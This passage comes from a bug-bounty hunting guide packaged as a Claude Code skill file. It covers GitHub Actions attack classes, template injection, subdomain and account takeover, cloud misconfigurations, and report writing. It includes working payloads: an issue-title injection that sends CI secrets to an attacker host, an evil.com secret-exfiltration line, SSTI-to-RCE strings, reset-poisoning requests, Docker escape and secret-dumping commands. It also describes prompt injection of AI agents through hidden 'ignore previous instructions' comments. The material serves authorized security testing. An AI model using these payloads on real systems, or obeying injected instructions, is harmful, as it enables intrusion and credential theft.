steps:910 - uses: actions/download-artifact@v4911 - run: ./downloaded-binary # attacker-controlled binary912913 # FIXED — verify artifact hash/signature before execution914 ```915- [ ] **Artipacked** — `actions/checkout` with `persist-credentials: true` (default) leaks `.git/config` credentials in uploaded artifacts916 ```yaml917 # FIXED918 - uses: actions/checkout@v4919 with:920 persist-credentials: false921 ```922923### Category 3: Supply Chain & Dependency Security (CICD-SEC-08)924925- [ ] **Unpinned actions** — `uses: actions/checkout@v4` (mutable tag) instead of SHA pin926 ```yaml927 # VULNERABLE — tag can be force-pushed928 uses: actions/checkout@v4929930 # FIXED — pinned to immutable commit SHA931 uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1932 ```933- [ ] **Impostor commit** — fork network allows pushing commits with SHA that appears to belong to upstream repo934- [ ] **Ref confusion** — ambiguous tag/branch names exploited to load unintended action version935- [ ] **Known vulnerable actions** — check actions against GHSA database (sisakulint detects automatically)936- [ ] **Archived actions** — unmaintained action with unpatched vulnerabilities937- [ ] **Unpinned container images** — `image: ubuntu:latest` instead of SHA256 digest pin938939### Category 4: Credential & Secret Protection940941- [ ] **Secret exfiltration** — `curl https://evil.com/${{ secrets.TOKEN }}` in workflow942- [ ] **Secrets in artifacts** — uploaded artifacts contain `.env`, credentials, or hidden files943 ```yaml944 # FIXED — exclude hidden files945 - uses: actions/upload-artifact@v4946 with:947 include-hidden-files: false948 ```949- [ ] **Unmasked secrets** — `fromJson()` derived values bypass GitHub's automatic masking950 ```yaml951 # FIXED — manually mask derived secrets952 run: |953 TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token')954 echo "::add-mask::$TOKEN"955 ```956- [ ] **Excessive `secrets: inherit`** — reusable workflow call inherits all secrets when it only needs one957- [ ] **Hardcoded credentials** — API keys, passwords, tokens directly in workflow YAML958959### Category 5: Triggers & Access Control (CICD-SEC-01)960961- [ ] **Dangerous triggers without mitigation** — `pull_request_target` or `workflow_run` with no `permissions: {}`, no approval gate, no ref restriction962- [ ] **Dangerous triggers with partial mitigation** — some protections present but bypassable963- [ ] **Label-based approval bypass** — `if: contains(github.event.pull_request.labels.*.name, 'approved')` is spoofable (attacker can add labels)964- [ ] **Bot condition spoofing** — `if: github.actor != 'dependabot[bot]'` is trivially bypassed by naming account similarly965- [ ] **Excessive GITHUB_TOKEN permissions** — `permissions: write-all` when only `contents: read` needed966- [ ] **Self-hosted runners in public repos** — untrusted PRs execute on org infrastructure = container escape → lateral movement967- [ ] **OIDC token theft** — CI runners expose OIDC tokens that grant cloud access968969### Category 6: AI Agent Security (NEW — 2025+)970971- [ ] **Unrestricted AI trigger** — `allowed_non_write_users: "*"` lets any user trigger AI agent execution972- [ ] **Excessive tool grants** — AI agent given Bash/Write/Edit tools in untrusted trigger context = attacker prompt → RCE973- [ ] **Prompt injection via workflow context** — `${{ github.event.issue.body }}` interpolated into AI agent prompt parameter974975### Hunting Workflow976977```9781. Recon: find all .github/workflows/*.yml in target's public repos9792. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)9803. Triage: Critical/High findings → manual verification9814. For each finding:982 a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)983 b. What secrets are accessible? (check permissions: block, secrets usage)984 c. What's the blast radius? (repo secrets → deploy keys → cloud access)9855. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow9866. Prove: show secret exfiltration, code execution, or artifact tampering987```988989### Expression Injection PoC Template990991```bash992# Step 1: Create an issue with injection payload in title993gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"994995# Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated996# CVSS: 9.3 Critical (RCE with repo secrets)997```998999### Real-World GHSAs (Proven Payouts)10001001| GHSA | Action | Bug Class | Severity |1002|---|---|---|---|1003| GHSA-gq52-6phf-x2r6 | tj-actions/branch-names | Expression injection via branch name | Critical |1004| GHSA-4xqx-pqpj-9fqw | atlassian/gajira-create | Code injection in privileged trigger | Critical |1005| GHSA-g86g-chm8-7r2p | check-spelling/check-spelling | Secret exposure in build logs | Critical |1006| GHSA-cxww-7g56-2vh6 | actions/download-artifact | Artifact poisoning (official action) | High |1007| GHSA-h3qr-39j9-4r5v | gradle/gradle-build-action | Cache poisoning via untrusted checkout | High |1008| GHSA-mrrh-fwg8-r2c3 | tj-actions/changed-files | Supply chain — impostor commit | High |1009| GHSA-phf6-hm3h-x8qp | broadinstitute/cromwell | Token exposure via code injection | Critical |1010| GHSA-qmg3-hpqr-gqvc | reviewdog/action-setup | Time-bomb via tag pinning | High |1011| GHSA-vqf5-2xx6-9wfm | github/codeql-action | Known vulnerable official action | High |1012| GHSA-hw6r-g8gj-2987 | pytorch/pytorch | Argument injection in build workflow | Moderate |10131014### A→B Signal: CI/CD Chains10151016```1017Expression injection → secret exfiltration → cloud account takeover1018Untrusted checkout → Makefile RCE → deploy key theft → repo takeover1019Artifact poisoning → release binary tampering → supply chain compromise1020Cache poisoning → build output manipulation → backdoored deployment1021Impostor commit → pinned action hijack → all downstream repos affected1022OIDC token theft → cloud metadata → S3/GCS read → customer data1023Self-hosted runner → container escape → internal network pivot1024```10251026### Deep-Dive: From sisakulint Finding to Bounty Report10271028sisakulint findings are **potentially exploitable** — not confirmed bugs. Every finding needs manual verification. The patterns below are extracted from 36 real-world paid reports ($250K+ total payouts). Each section follows the thinking that led to actual bounty payments.10291030#### 1. Code Injection / Argument Injection10311032**Gate question:** Can an external attacker trigger this workflow AND does the tainted input reach a shell context?10331034**Verification depth:**10351. **Trigger accessibility** — `issues: opened` and `issue_comment: created` are triggerable by ANY GitHub user. `pull_request_target` is triggerable via fork PR. Check if there's an `if:` condition filtering by actor/association.10362. **Direct vs transitive taint** — The workflow file itself may look safe. Cycode found Bazel's $13K bug because `cherry-picker.yml` passed `${{ github.event.issue.title }}` via `with:` to a **composite action in another repo** (`bazelbuild/continuous-integration`). The composite action's `action.yml` had `run: TITLE="${{ inputs.issue-title }}"`. Conventional scanners (actionlint) missed this because they don't follow `uses:` into external composite actions. **Always fetch and read the composite action's action.yml.**10373. **Payload construction** — Branch names cannot contain spaces. Ultralytics YOLO attacker used `${IFS}` (Internal Field Separator) and Bash brace expansion `{curl,-sSfL,URL}` to bypass this. Issue titles/bodies have no such restriction.10384. **Secrets reachability** — Check `permissions:` at workflow AND job level. No explicit `permissions:` block = repo default (often `write-all`). Check `env:` blocks for `${{ secrets.* }}`. Check if `GITHUB_TOKEN` has write permissions.10395. **Impact chain** — Bazel: issue title injection → composite action shell injection → `BAZEL_IO_TOKEN` + `GITHUB_TOKEN (write-all)` → Bazel codebase backdoor capability (affects Google, Kubernetes, Uber, LinkedIn).10401041**Kill signals:** `${{ contains(...) }}` or `${{ startsWith(...) }}` returning booleans are NOT injectable — false positive. `${{ github.event.pull_request.labels.*.name }}` inside `contains()` evaluates to `true`/`false`, not the label text.10421043#### 2. Untrusted Checkout (Pwn Request)10441045**Gate question:** Does the workflow checkout attacker-controlled code AND then execute something from that checkout?10461047**Verification depth:**10481. **Explicit vs implicit code execution** — The Flank $7.5K bug: `gh pr checkout` → `gradle/gradle-build-action` runs Gradle → Gradle auto-evaluates `settings.gradle.kts` as Kotlin script. The attacker never wrote a `run:` command. **Any build tool that reads config from the repo is an execution vector**: `Makefile`, `package.json` (postinstall scripts), `setup.py`, `build.gradle.kts`, `.cargo/config.toml`, `Gemfile`.10492. **Issue_comment is as dangerous as pull_request_target** — Rspack NPM token theft: `issue_comment` trigger + `refs/pull/${{ github.event.issue.number }}/head` checkout. `issue_comment` runs in base repo context with full secrets. Draft PRs are included. No contributor status check. **Always check issue_comment workflows for PR checkout patterns.**10503. **Self-hosted runner escalation** — If `runs-on:` contains `self-hosted`, check: (a) Is the runner ephemeral? (`--ephemeral` in config.sh). (b) Is the runner in Docker group? (`docker run -v /:/host --privileged`). (c) PyTorch pattern: contributor trick (typo fix PR → merge → contributor status → auto-trigger on self-hosted runner without approval) → RoR (Runner-on-Runner: `RUNNER_TRACKING_ID=0` + install attacker's runner agent) → wait for privileged workflow → steal PATs from `.git/config` or process memory.10514. **TOCTOU** — Label-gated `pull_request_target` workflows: attacker gets label added (social engineering), workflow checks label exists, attacker pushes malicious commit between check and checkout. The `ref:` at checkout time resolves to the new commit. **Mutable refs (`github.event.pull_request.head.sha` at trigger time vs checkout time) are the root cause.**10525. **Post-exploitation** — After initial access, enumerate all secrets: `env | base64`, `cat /proc/self/environ`, `gcore $(pgrep Runner.Worker)` + `strings core.* | grep ghp_`. PyTorch attackers got 3 bot PATs → combined them to bypass branch protection on main.10531054**Kill signals:** `if: "!github.event.pull_request.head.repo.fork"` blocks external attackers. `permissions: {}` at workflow level with only `contents: read` at job level limits damage. Ephemeral runners with `--ephemeral` flag prevent persistence.10551056#### 3. Artifact Poisoning10571058**Gate question:** Is there a TWO-STAGE workflow pattern where Stage 1 (pull_request, no secrets) uploads artifacts and Stage 2 (workflow_run, with secrets) downloads and uses them?10591060**Verification depth:**10611. **Cross-workflow artifact flow** — Same-workflow upload/download (build job → test job via `needs:`) is NOT poisonable because the attacker's PR runs their own build. The dangerous pattern is: `pull_request` workflow uploads → separate `workflow_run` workflow downloads. `workflow_run` triggers on the completion of another workflow and runs in the DEFAULT BRANCH context with full secrets.10622. **Download path matters** — `actions/download-artifact` with `path: .` or workspace-relative paths (`grafana-server/bin`) can overwrite source code, build scripts, or binaries. Safe pattern: extract to `${{ runner.temp }}/artifacts`.10633. **Source validation** — Does the `workflow_run` consumer check `github.event.workflow_run.head_repository.full_name != github.repository`? If not, fork PR artifacts are consumed blindly. Rust release pipeline was vulnerable to exactly this.10644. **ArtiPACKED (persist-credentials)** — `actions/checkout` defaults to `persist-credentials: true`. This writes `GITHUB_TOKEN` to `.git/config`. If the artifact upload path includes `.git/` (e.g., `path: .`), the token is publicly downloadable from the Actions artifact. **Check**: does any `upload-artifact` step use `path: .` or a broad path that includes `.git/`?10651066**Kill signals:** Upload and download in the same workflow run (connected by `needs:`). `workflow_run` consumer that explicitly checks fork origin. `persist-credentials: false` on checkout.10671068#### 4. Cache Poisoning10691070**Gate question:** Can a fork PR write a cache entry that the default branch later restores in a privileged context?10711072**CRITICAL: GitHub's cache scoping does NOT fully prevent this.** A PR branch can read caches from the default branch. A fork PR workflow can WRITE cache entries. If the cache key is deterministic (`hashFiles('package-lock.json')`) and the attacker doesn't modify that file, the fork PR writes to the SAME cache key.10731074**Verification depth:**10751. **Key predictability** — `key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }}` is fully predictable. Adding `github.sha` or `github.run_id` to the key makes it unpredictable. **Check every cache key for the presence of an unpredictable component.**10762. **Cache hierarchy exploitation** — `workflow_run` and `workflow_dispatch` workflows run in the default branch context. If they write to caches with predictable keys, an attacker who can trigger the upstream workflow (via fork PR) can pre-poison the cache. The `run-dashboard-search-e2e.yml` pattern: `workflow_run` trigger → `actions/cache` with `hashFiles()` key → all PR workflows read this cache.10773. **Payload injection** — Cacheract: inject malware into package manager caches (`node_modules/.cache`, `~/.cache/pip`, `~/.gradle/caches`). The malware self-perpetuates because each restore → build → save cycle preserves the payload. **Cache TTL is 7 days** — the payload survives across multiple workflow runs.10784. **Privileged consumption** — The cache is restored in a `push` or `schedule` workflow on the default branch. These workflows have full `secrets` access. The poisoned dependency executes during `npm install` / `pip install` / `gradle build` and exfiltrates secrets.10795. **Clinejection chain** — Prompt injection → AI agent runs `npm install` from attacker commit → Cacheract in npm cache → nightly publish workflow restores cache → VSCE_PAT, OVSX_PAT, NPM_RELEASE_TOKEN stolen → malicious Cline v2.3.0 published for 8 hours.10801081**Kill signals:** Cache key includes `github.sha` or `github.run_id`. Separate cache keys per workflow. `actions/cache/restore` (read-only) instead of `actions/cache` (read-write) in PR workflows.10821083#### 5. Self-Hosted Runners10841085**Gate question:** Is a self-hosted runner used in a PUBLIC repo where external contributors can trigger workflows?10861087**Verification depth:**10881. **Approval settings** — Default: "Require approval for first-time contributors". After ONE merged PR (even a typo fix), the attacker becomes a "contributor" and subsequent PRs auto-trigger without approval. GitHub runner-images $20K bug used exactly this trick.10892. **Runner persistence** — Non-ephemeral runners retain state between jobs. `RUNNER_TRACKING_ID=0` prevents the runner from cleaning up attacker processes after job completion. Detached Docker containers (`docker run -d --restart always`) also survive cleanup.10903. **Runner-on-Runner (RoR)** — Install an official GitHub Actions runner binary on the target's self-hosted runner, register it to attacker's private org. Uses only legitimate GitHub binaries and HTTPS to github.com — indistinguishable from normal runner traffic. **No C2 server needed. GitHub itself is the C2.**10914. **Lateral movement** — RoR persistence → wait for privileged `push`/`schedule` workflows → steal tokens from `.git/config`, `$GITHUB_ENV`, `/proc/PID/environ`, or Runner.Worker process memory. PyTorch: 3 bot PATs → 93 repos → AWS S3 write access → `pip install pytorch` supply chain.10925. **Docker group escalation** — `docker run -v /:/host --privileged alpine chroot /host` → full host root. Add SSH keys, modify sudoers, install persistent backdoors.10931094**Kill signals:** `--ephemeral` flag on runner registration. "Require approval for ALL outside collaborators" (not just first-time). Runner not in Docker group. Private repo (no external PRs).10951096#### 6. Supply Chain (commit-sha / impostor-commit / ref-confusion)10971098**Gate question:** Does the workflow use mutable tags (`@v1`, `@v2`) for actions, and could those tags be replaced?10991100**Verification depth:**11011. **Tag mutability** — `git tag -f v1 <malicious-commit>` replaces the tag. 98.4% of repos don't use SHA pinning (Legit Security 2024). tj-actions attack: all version tags (v1, v35, v45) replaced with memdump.py payload → 23K repos affected → 218 confirmed secret leaks.11022. **Impostor commits** — Fork network shares object store with parent. Attacker pushes a commit to fork, then references that commit SHA in the parent repo's `uses:`. GitHub resolves it because the SHA exists in the shared object store.11033. **RepoJacking** — Org renames create a redirect. Old name becomes available. Attacker registers old org name, creates same repo, hosts malicious action. Shopify/unity-buy-sdk used `MirrorNG/unity-runner` → MirrorNG renamed to MirageNet → `MirrorNG` was claimable. **Check**: `GET /users/<action-owner>` returns 404? Takeover possible.11044. **Payload stealth** — tj-actions memdump.py: extract secrets from Runner.Worker process memory via `/proc/PID/maps` + `/proc/PID/mem`, encrypt with AES+RSA, output to workflow log. Logs are publicly visible but encrypted — only attacker has the key.11051106**Kill signals:** Full 40-char SHA pinning (`uses: actions/checkout@b4ffde65...`). Dependabot configured for `github-actions` ecosystem. Organization-level action allowlist.11071108#### 7. AI Agent Security11091110**Gate question:** Is an AI agent (Gemini CLI, Claude Code, Cline, Codex) invoked in a workflow where external users can influence the prompt?11111112**Verification depth:**11131. **Trigger + prompt source** — `issues: opened` → AI triage bot reads `github.event.issue.body`. The body IS the prompt. HTML comments (`<!-- ignore previous instructions -->`) are invisible in GitHub UI but included in the API response and thus in the AI prompt.11142. **Tool permissions** — If the AI agent has Bash/Write/Edit tools and runs with secrets in env, prompt injection = RCE + secret exfil. `allowed_non_write_users: "*"` means ANY user can trigger.11153. **Multi-phase chain** — Clinejection: prompt injection → AI runs `npm install` from attacker commit → Cacheract plants in npm cache → nightly publish restores cache → tokens stolen → malicious version published. **A prompt injection finding alone may seem low-severity, but it's a gateway to cache poisoning and supply chain attacks.**11161117**Kill signals:** `author_association == 'MEMBER' || 'OWNER'` check before AI processing. `--read-only --no-exec` flags on AI CLI. `permissions: {}` at workflow level.11181119#### 8. Permissions / Secrets Hygiene11201121**Not standalone bugs** — these are force multipliers. A `code-injection-medium` with `permissions: write-all` is Critical. The same injection with `permissions: { contents: read }` is limited.11221123**Chaining checklist:**1124- `secrets: inherit` on reusable workflow call → all org secrets accessible to called workflow1125- `permissions:` block missing → repo default (often write-all)1126- `GITHUB_TOKEN` with `contents: write` → CVE-2022-46258 pattern: use Contents API to create new workflow file → new workflow accesses ALL repo/org secrets (the original workflow never referenced them)11271128**Key references:**1129- [sisaku-security/agent-idea/bugbountyreport](https://github.com/sisaku-security/agent-idea/tree/main/bugbountyreport) — 36 real-world reports with full attack chains1130- [sisakulint docs/advisory](https://sisaku-security.github.io/lint/docs/advisory/) — 38 GHSAs with detection mapping1131- [DEF CON 32: Grand Theft Actions](https://media.defcon.org/DEF%20CON%2032/) — Khan & Stawinski, $250K+ in self-hosted runner bugs1132- [Synacktiv: GitHub Actions Exploitation (5 parts)](https://www.synacktiv.com/en/publications/github-actions-exploitation-introduction)11331134## SSTI -- Server-Side Template Injection11351136### Detection Payloads1137```1138{{7*7}} -> 49 = Jinja2 / Twig / generic1139${7*7} -> 49 = Freemarker / Pebble / Velocity1140<%= 7*7 %> -> 49 = ERB (Ruby)1141#{7*7} -> 49 = Mako / some Ruby1142*{7*7} -> 49 = Spring (Thymeleaf)1143{{7*'7'}} -> 7777777 = Jinja2 (Twig gives 49)1144```11451146### Where to Test1147- Name/bio/description fields (profile pages)1148- Email templates (invoice name, username in confirmation email)1149- Custom error messages1150- PDF generators (invoice, report export)1151- URL path parameters1152- Search queries reflected in results11531154### Jinja2 -> RCE (Python / Flask)1155```python1156{{config.__class__.__init__.__globals__['os'].popen('id').read()}}1157```11581159### Twig -> RCE (PHP / Symfony)1160```php1161{{["id"]|filter("system")}}1162```11631164### Freemarker -> RCE (Java)1165```1166<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}1167```11681169### ERB -> RCE (Ruby on Rails)1170```ruby1171<%= `id` %>1172```11731174## Subdomain Takeover11751176### Detection1177```bash1178# Check for dangling CNAMEs1179cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt1180# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com11811182# Automated takeover detection1183nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt1184```11851186### Quick-Kill Fingerprints1187```1188"There isn't a GitHub Pages site here" -> GitHub Pages1189"NoSuchBucket" -> AWS S31190"No such app" -> Heroku1191"404 Web Site not found" -> Azure App Service1192"Fastly error: unknown domain" -> Fastly CDN1193"project not found" -> GitLab Pages1194"It looks like you may have typed..." -> Shopify1195```11961197### Impact Escalation1198- Basic takeover: serve page under target.com subdomain -> Low/Medium1199- + Cookies: if target.com sets cookie with domain=.target.com -> credential theft -> High1200- + OAuth redirect: if sub.target.com is a registered redirect_uri -> ATO chain -> Critical1201- + CSP bypass: if sub.target.com is in target's CSP -> XSS anywhere -> Critical12021203## ATO -- Account Takeover (Complete Taxonomy)12041205### Path 1: Password Reset Poisoning (Host Header Injection)1206```bash1207POST /forgot-password1208Host: attacker.com1209Content-Type: application/x-www-form-urlencoded1210email=victim@company.com1211# If reset link = https://attacker.com/reset?token=XXXX -> ATO1212# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server1213```12141215### Path 2: Reset Token in Referrer Leak1216After clicking reset link, if page loads external resources -> token in Referer header to external domain.12171218### Path 3: Predictable / Weak Reset Tokens1219```bash1220# If token < 16 hex chars or numeric only -> brute-forceable1221ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 501222```12231224### Path 4: Token Not Expiring / Reuse1225Request token -> wait 2 hours -> use it -> still works? Request token #1 -> request token #2 -> use token #1 -> still works?12261227### Path 5: Email Change Without Re-Authentication1228```bash1229PUT /api/user/email1230{"new_email": "attacker@evil.com"}1231# If no current_password required -> attacker changes email -> locks out victim1232```12331234### Path 6: OAuth Account Linking Abuse1235Can you link an OAuth account from a different email to an existing account?12361237### Path 7: Session Fixation1238GET /login -> note Set-Cookie session=XYZ -> Log in -> does session ID change? If not = fixation.12391240## Cloud / Infra Misconfigs12411242### S3 / GCS / Azure Blob1243```bash1244# S3 public listing1245aws s3 ls s3://target-bucket-name --no-sign-request12461247# Try common names1248for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do1249 curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"1250done1251```12521253### EC2 Metadata (via SSRF)1254```bash1255http://169.254.169.254/latest/meta-data/iam/security-credentials/1256# Returns role name, then:1257http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME1258# Returns AccessKeyId, SecretAccessKey, Token -> Critical12591260# GCP (needs header Metadata-Flavor: Google):1261http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token12621263# Azure (needs header Metadata: true):1264http://169.254.169.254/metadata/instance?api-version=2021-02-011265```12661267### Firebase Open Rules1268```bash1269curl -s "https://TARGET-APP.firebaseio.com/.json"1270# If data returned -> open read1271curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'1272# If success -> open write -> Critical1273```12741275### Exposed Admin Panels1276```bash1277/jenkins /grafana /kibana /elasticsearch1278/swagger-ui.html /api-docs /phpMyAdmin /adminer.php1279/.env /config.json /server-status /actuator/env1280```12811282### Kubernetes / Docker1283```bash1284# K8s API (unauthenticated):1285curl -sk https://TARGET:6443/api/v1/namespaces/default/pods1286# Docker API:1287curl -s http://TARGET:2375/containers/json1288```12891290---12911292# PHASE 4: VALIDATE12931294## The 7-Question Gate (Run BEFORE Writing ANY Report)12951296All 7 must be YES. Any NO -> STOP.12971298### Q1: Can I exploit this RIGHT NOW with a real PoC?1299Write the exact HTTP request. If you cannot produce a working request -> KILL IT.13001301### Q2: Does it affect a REAL user who took NO unusual actions?1302No "the user would need to..." with 5 preconditions. Victim did nothing special.13031304### Q3: Is the impact concrete (money, PII, ATO, RCE)?1305"Technically possible" is not impact. "I read victim's SSN" is impact.13061307### Q4: Is this in scope per the program policy?1308Check the exact domain/endpoint against the program's scope page.13091310### Q5: Did I check Hacktivity/changelog for duplicates?1311Search the program's disclosed reports and recent changelog entries.13121313### Q6: Is this NOT on the "always rejected" list?1314Check the list below. If it's there and you can't chain it -> KILL IT.13151316### Q7: Would a triager reading this say "yes, that's a real bug"?1317Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?13181319## 4 Pre-Submission Gates13201321### Gate 0: Reality Check (30 seconds)1322```1323[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading1324[ ] The bug is in scope -- checked program scope explicitly1325[ ] I can reproduce it from scratch (not just once)1326[ ] I have evidence (screenshot, response, video)1327```13281329### Gate 1: Impact Validation (2 minutes)1330```1331[ ] I can answer: "What can an attacker DO that they couldn't before?"1332[ ] The answer is more than "see non-sensitive data"1333[ ] There's a real victim: another user's data, company's data, financial loss1334[ ] I'm not relying on the user doing something unlikely1335```13361337### Gate 2: Deduplication Check (5 minutes)1338```1339[ ] Searched HackerOne Hacktivity for this program + similar bug title1340[ ] Searched GitHub issues for target repo1341[ ] Read the most recent 5 disclosed reports for this program1342[ ] This is not a "known issue" in their changelog or public docs1343```13441345### Gate 3: Report Quality (10 minutes)1346```1347[ ] Title: One sentence, contains vuln class + location + impact1348[ ] Steps to reproduce: Copy-pasteable HTTP request1349[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)1350[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions1351[ ] Remediation: 1-2 sentences of concrete fix1352```13531354## CVSS 3.1 Quick Guide13551356| Factor | Low (0-3.9) | Medium (4-6.9) | High (7-8.9) | Critical (9-10) |1357|--------|-------------|----------------|--------------|-----------------|1358| Attack Vector | Physical | Local | Adjacent | Network |1359| Privileges | High | Low | None | None |1360| User Interaction | Required | Required | None | None |1361| Impact | Partial | Partial | High | High (all 3) |13621363### Typical Scores by Bug Class13641365| Bug | Typical CVSS | Severity |1366|----|------|---------|1367| IDOR (read PII) | 6.5 | Medium |1368| IDOR (write/delete) | 7.5 | High |1369| Auth bypass -> admin | 9.8 | Critical |1370| Stored XSS | 5.4-8.8 | Med-High |1371| SQLi (data exfil) | 8.6 | High |1372| SSRF (cloud metadata) | 9.1 | Critical |1373| Race condition (double spend) | 7.5 | High |1374| GraphQL auth bypass | 8.7 | High |1375| JWT none algorithm | 9.1 | Critical |13761377---13781379# ALWAYS REJECTED -- Never Submit These13801381Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.13821383**N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.**13841385## Conditionally Valid With Chain13861387These low findings become valid bugs when chained:13881389| Low Finding | + Chain | = Valid Bug |1390|------------|---------|-------------|1391| Open redirect | + OAuth code theft | ATO |1392| Clickjacking | + sensitive action + PoC | Account action |1393| CORS wildcard | + credentialed exfil | Data theft |1394| CSRF | + sensitive state change | Account takeover |1395| No rate limit | + OTP brute force | ATO |1396| SSRF (DNS only) | + internal access proof | Internal network access |1397| Host header injection | + password reset poisoning | ATO |1398| Self-XSS | + login CSRF | Stored XSS on victim |13991400---14011402# PHASE 5: REPORT14031404## HackerOne Report Template14051406```1407Title: [Vuln Class] in [endpoint/feature] leads to [Impact]14081409## Summary1410[2-3 sentences: what it is, where it is, what attacker can do]14111412## Steps To Reproduce14131. Log in as attacker (account A)14142. Send request: [paste exact request]14153. Observe: [exact response showing the bug]14164. Confirm: [what the attacker gained]14171418## Supporting Material1419[Screenshot / video of exploitation]1420[Burp Suite request/response]14211422## Impact1423An attacker can [specific action] resulting in [specific harm].1424[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]14251426## Severity Assessment1427CVSS 3.1 Score: X.X ([Severity label])1428Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None1429```14301431## Bugcrowd Report Template14321433```1434Title: [Vuln] at [endpoint] -- [Impact in one line]14351436Bug Type: [IDOR/SSRF/XSS/etc]1437Target: [URL or component]1438Severity: [P1/P2/P3/P4]14391440Description:1441[Root cause + exact location]14421443Reproduction:14441. [step]14452. [step]14463. [step]14471448Impact:1449[Concrete business impact]14501451Fix Suggestion:1452[Specific remediation]1453```14541455## Human Tone Rules (Avoid AI-Sounding Writing)1456- Start sentences with the impact, not the vulnerability name1457- Write like you're explaining to a smart developer, not a textbook1458- Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."1459- One concrete example beats three abstract sentences1460- No em dashes, no "comprehensive/leverage/seamless/ensure"14611462## Report Title Formula14631464```1465[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]1466```14671468**Good titles:**1469```1470IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data1471Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts1472Stored XSS in profile bio field executes in admin panel -- allows privilege escalation1473SSRF via image import URL parameter reaches AWS EC2 metadata service1474Race condition in coupon redemption allows same code to be used unlimited times1475```14761477**Bad titles:**1478```1479IDOR vulnerability found1480Broken access control1481XSS in user input1482Security issue in API1483```14841485## Impact Statement Formula (First Paragraph)14861487```1488An [attacker with X access level] can [exact action] by [method], resulting in [business harm].1489This requires [prerequisites] and leaves [detection/reversibility].1490```14911492## The 60-Second Pre-Submit Checklist14931494```1495[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]1496[ ] First sentence states exact impact in plain English1497[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)1498[ ] Response showing the bug is included (screenshot or response body)1499[ ] Two test accounts used (not just one account testing itself)1500[ ] CVSS score calculated and included1501[ ] Recommended fix is one sentence (not a lecture)1502[ ] No typos in the endpoint path or parameter names1503[ ] Report is < 600 words (triagers skim long reports)1504[ ] Severity claimed matches impact described (don't overclaim)1505```15061507## Severity Escalation Language15081509When payout is being downgraded, use these counters:15101511| Program Says | You Counter With |1512|---|---|1513| "Requires authentication" | "Attacker needs only a free account (no special role)" |1514| "Limited impact" | "Affects [N] users / [PII type] / [$ amount]" |1515| "Already known" | "Show me the report number -- I searched and found none" |1516| "By design" | "Show me the documentation that states this is intended" |1517| "Low CVSS score" | "CVSS doesn't account for business impact -- attacker can steal [X]" |15181519---15201521# RESOURCES15221523## Bug Bounty Platforms1524- [HackerOne Hacktivity](https://hackerone.com/hacktivity) -- Disclosed reports1525- [Bugcrowd Crowdstream](https://bugcrowd.com/crowdstream) -- Public findings1526- [Intigriti Leaderboard](https://www.intigriti.com/researcher/leaderboard)15271528## Learning1529- [PortSwigger Web Academy](https://portswigger.net/web-security) -- Free vuln labs (best)1530- [HackTricks](https://book.hacktricks.xyz) -- Attack technique reference1531- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) -- Payload reference1532- [Solodit](https://solodit.cyfrin.io) -- 50K+ searchable audit findings (Web3)1533- [ProjectDiscovery Chaos](https://chaos.projectdiscovery.io) -- Free subdomain datasets15341535## Wordlists1536- [SecLists](https://github.com/danielmiessler/SecLists) -- Comprehensive wordlists1537- [HowToHunt](https://github.com/KathanP19/HowToHunt) -- Step-by-step vuln hunting1538- [DefaultCreds](https://github.com/ihebski/DefaultCreds-cheat-sheet) -- Default credentials15391540## Payload Databases1541- [XSSHunter](https://xsshunter.trufflesecurity.com/) -- Blind XSS detection1542- [interactsh](https://app.interactsh.com) -- OOB callback server15431544---15451546# INSTALLATION (Claude Code Skill)15471548To use this as a Claude Code skill, copy this file to your skills directory:15491550```bash1551# Option A: Clone the repo and link the skill1552git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty1553ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md15541555# Option B: Direct copy1556mkdir -p ~/.claude/skills/bug-bounty1557curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \1558 -o ~/.claude/skills/bug-bounty/SKILL.md1559```15601561Then 